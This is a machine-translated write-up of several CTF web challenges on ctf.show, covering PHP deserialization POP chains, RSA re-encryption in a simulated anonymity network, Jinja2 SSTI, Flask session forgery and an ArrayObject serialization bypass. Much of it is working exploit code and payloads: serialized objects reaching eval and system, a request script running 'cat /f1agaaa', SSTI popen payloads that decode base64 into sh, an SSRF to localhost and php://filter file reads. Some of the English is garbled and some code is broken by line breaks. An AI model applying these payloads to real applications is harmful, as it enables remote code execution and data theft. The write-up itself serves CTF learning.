easy_signin
topic url
Base64 decoding is face.png
, try flag.txt
and flag.php
, the input after base64 encryption is wrong, use index.php
encryption and input, see the source code
Decrypt the following base64 to get the flag
The forgotten deserialization
source code
<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
First look at how to pass parameters
$_ip = $_SERVER["HTTP_AAAAAA"];
This sentence means to receive the value of the aaaaaa parameter in the header, such as this
Then it is prompted that there is a txt, but I don’t know what the name is, try to read the file name
Look at this class again
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
there is one
$a = new $this->coos($this->file);
coos
and file
are controllable, so you can use php native classes to read files
GlobeIterator
The GlobIterator class can also traverse a file directory, but it is slightly different from the above in that its behavior is similar to glob(), and it can find file paths through pattern matching.
Its characteristic is that it can be traversed only by knowing part of the name
For example
<?php
$dir=new GlobIterator("/*flag*");
echo $dir;
Then find a way to trigger __toString()
, you can pass EeE
the class
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
To trigger, because the if statement must be echo lcfirst($this->text);
satisfiedtext==a
<?php
class EeE{
public $text = 'a';
public $eeee;
}
class gBoBg{
public $name = '123';
public $file = '*txt';
public $coos = 'GlobIterator';
}
$e = new EeE();
$e ->text = new gBoBg();
echo serialize($e);
//O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";s:3:"123";s:4:"file";s:4:"*txt";s:4:"coos";s:12:"GlobIterator";}s:4:"eeee";N;}
Got it , and then the official wp said that it cannot be read directly in the root directory, but in fact it seems that it can be read h1nt.txt
with native classes in this directorySplFileObject
<?php
class EeE{
public $text = 'a';
public $eeee;
}
class gBoBg{
public $name = '123';
public $file = 'h1nt.txt';
public $coos = 'SplFileObject';
}
$e = new EeE();
$e ->text = new gBoBg();
echo serialize($e);
//O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";s:3:"123";s:4:"file";s:8:"h1nt.txt";s:4:"coos";s:13:"SplFileObject";}s:4:"eeee";N;}
But the reading is different from the official wp, there is no key
Try to use the file pseudo-protocol to read
<?php
class EeE{
public $text = 'a';
public $eeee;
}
class gBoBg{
public $name = '123';
public $file = 'php://filter/convert.base64-encode/resource=h1nt.txt';
public $coos = 'SplFileObject';
}
$e = new EeE();
$e ->text = new gBoBg();
echo serialize($e);
//O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";s:3:"123";s:4:"file";s:52:"php://filter/convert.base64-encode/resource=h1nt.txt";s:4:"coos";s:13:"SplFileObject";}s:4:"eeee";N;}
read it all
#用于check.php
key:qwertyuiopasdfghjklzxcvbnm123456789
move:2~4
Guess (see wp)
Among them, move means to move, guess this is a shift encryption, guess that the key is the range, then there are 3 possibilities to the left, and there are 3 possibilities to the right, but prompt 2 prompts us random-random, then the encryption is possible It is 2~7 random, so every time it is exactly equal is the probability of 1/24
After that, I will find a way to construct a chain to trigger the utilization eval
function.
<?php
class EeE{
public $text = 'a';
public $eeee;
}
class cycycycy{
public $a;
}
class gBoBg{
public $name;
public $file = '1';
public $coos;
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
}
$a = new EeE();
$a ->text = new gBoBg();
$a ->text ->coos = new w_wuw_w();
$a ->text ->coos ->aaa = new cycycycy();
echo serialize($a);
//O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:1:"1";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";O:8:"cycycycy":1:{s:1:"a";N;}s:3:"key";N;s:4:"file";N;}}s:4:"eeee";N;}
After that, you can use the script to blast the key, and post an official script
import requests
import re
mi = ['i6xstx6d6x6ir','u5zarz5s5z5ue','y4lpel4a4l4yw','sqnhonqjqnqsi','dwmjpmwkwmwdo','fe1ka1ele1efp']
d = 1
while d<2:
for i in mi:
data = {
'eval':'system("cat /f1agaaa");'
}
url = f"http://67423f19-3ba4-41b5-9e10-716ce8f5e683.challenge.ctf.show/index.php?get={
i}"
header = {
'aaaaaa':'O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:1:"1";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";O:8:"cycycycy":1:{s:1:"a";N;}s:3:"key";N;s:4:"file";N;}}s:4:"eeee";N;}'
}
reqpose = requests.post(url=url,data=data,headers=header).text
re_text = re.findall(r"(?<=</code>).*", reqpose, re.S)
if '' not in re_text:
print(re_text[0])
d += 1
Dark web chat room (fake web real password)
Will not put the password directly on the official wp
1. The initial chat interface
Key information:
- 1. Prompt to access port 9999 locally, there may be SSRF
- 2. Prompt to visit the "click me to enter the universe mall" link
- 3. Prompt that FLAG exists in the slogans sent to other people by popular websites
- 4. Propaganda length > 128
- 5. The plug-in in the upper right corner can be used
2. Click on the plug-in, a new page appears
The principle of anonymity is introduced, and the encryption code is attached
- \1. It can be seen that the encryption is a group of 128, thinking that the length of the slogan is >128, indicating that FLAG and some words form a group, and the IP of the next node and some words form a group
- \2. At the top is the private key intercepted by the plug-in, the original data sent, the data decrypted with its own private key, and the send button, similar to Burp's package change function
- \3. From the original data length of 18944, it can be deduced that you are located at node 1. First try to encrypt locally
It is found that the encrypted length of a group is 512, while the encryption is 128
3. Visit "click me to enter the universe mall"
See if you can use SSRF to get sensitive information
You can see your own IP, thinking that encryption also uses IP, it may be useful to check robots.txt
View shop.py.bak
Think of local access to port 9999 /shop?api=127.0.0.1:9999
Obtain the public keys of the 3 nodes, you can encrypt and decrypt by yourself through the website's public key 1 and your own private key 1, and find that it is feasible, indicating that the website is user A. If you want to encrypt your own IP, and then replace " The IP of user B in the decrypted data ", then the final plaintext will be sent to itself
4. Construct Payload
still this picture
The second line is the "decrypted data" in the plug-in. You can see that the second 4*512 is the IP of user B. Use two public keys to encrypt your own IP and replace it:
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort
# 加密
def encrypt(plaintext, public_key):
cipher = PKCS1_v1_5.new(RSA.importKey(public_key))
ciphertext = ''
for i in range(0, len(plaintext), 128):
ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf8')).hex()
return ciphertext
IP = '2.56.12.89'
plaintext_half = '拦截的 解密后的数据'
# 公钥开头、结尾有俩\n
public_key2 = '-----BEGIN PUBLIC KEY-----\nxxx\n-----END PUBLIC KEY--
---'
public_key3 = '-----BEGIN PUBLIC KEY-----\nxxx\n-----END PUBLIC KEY--
---'
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)
# 替换最终 IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext +
plaintext_half[4096:]
print(plaintext_half_new)
Replace the "decrypted data" with the newly generated data, and send it to get FLAG because the IP that is finally passed is your own
5. A shuttle script
import re
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort
url = 'http://xxx.challenge.ctf.show/' # 题目URL,先等几秒再运行
# 加密
def encrypt(plaintext, public_key):
cipher = PKCS1_v1_5.new(RSA.importKey(public_key))
ciphertext = ''
for i in range(0, len(plaintext), 128):
ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()
return ciphertext
def get_plaintext_half():
text = requests.get(url+'/update').text
return re.findall('[^@]*\.92', text)[0]
def get_public_key(public_key):
text = requests.get(url+'/shop?api=127.0.0.1:9999').text
return re.findall('-----BEGIN PUBLIC KEY-----\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n-----END PUBLIC KEY-----', text)[public_key-1]
IP = '2.56.12.89'
plaintext_half = get_plaintext_half() # 获取解密后的数据
# 获取公钥2、3
public_key2 = get_public_key(2).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
public_key3 = get_public_key(3).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
# 两次加密
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)
# 替换最终IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]
# 请求
requests.post(url + '/pass_message',data = {
'message':plaintext_half_new})
# 接收明文
text = requests.get(url+'/update').text
flag = re.findall('ctfshow{.*}', text)[0]
print(flag)
input()
easy_ssti
Look at the source code, prompt app.zip
, visit and download it
The template rendering is in the hello directory, try to inject
There are ssti vulnerabilities, without any filtering, you can construct it yourself or directly Baidu
/{
{
().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
But when reading the flag, it seems to filter / and f, just use base64 to read
{
{
().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('echo "Y2F0IC9mbGFn"|base64 -d|sh').read()}}
easy_flask
A login page, just register an account and log in
You need an admin account, but you can see the source code
The key is given here, and 80% of it is session
forged. Log in and capture the packet to get the session
key=S3cr3tK3y
use flask_session_cookie_manager3
decryption
Change user to admin and then encrypt
Modify the session to send a package to log in
But here is only a fake flag, look at the source code and find
There should be an arbitrary file download, try downloading the source code
/download/?filename=app.py
successfully obtained the source code
See it in the source code
The command can be executed directly under the hello route
/hello/?eval=__import__("os").popen("cat /flag_is_h3re").read()
easy_php
source code
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
Don't look at the filter first, as long as the function is being executed __destruct()
, system
assign ctfshow
a value
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$a = new ctfshow();
$a -> ctfshow = 'whoami';
echo serialize($a);
?>
//O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}
Look at the filter again
if(!preg_match("/^[Oa]:[\d]+/i", $data))
Serialized values starting with O and a cannot be passed in, that is, serialized values of objects and arrays.
In the lower version of php, a + can be added before the number after the colon of O or a to bypass. But the version of this question is 7.3 and cannot be bypassed
Look at other masters, you can replace 0 with C to bypass
payload
C:7:"ctfshow":1:{
s:7:"ctfshow";s:6:"whoami";}
But it doesn't make sense to put it in the title
The guess is that the ctfshow class in the title does not implement the serializable interface, so this property cannot be parsed. So find the built-in class in php that implements the Serializable interface
Wp uses ArrayObject()
a class, use this class to modify ctfshow
the class
<?php
class ctfshow{
public $ctfshow = 'whoami';
}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>
//C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}
echo successfully
final payload
?1%2b1>2=C:11:"ArrayObject":75:{
x:i:0;a:0:{
};m:a:1:{
s:1:"a";O:7:"ctfshow":1:{
s:7:"ctfshow";s:7:"cat /f*";}}}
easy_class (no)
Directly enlarge the guy's wp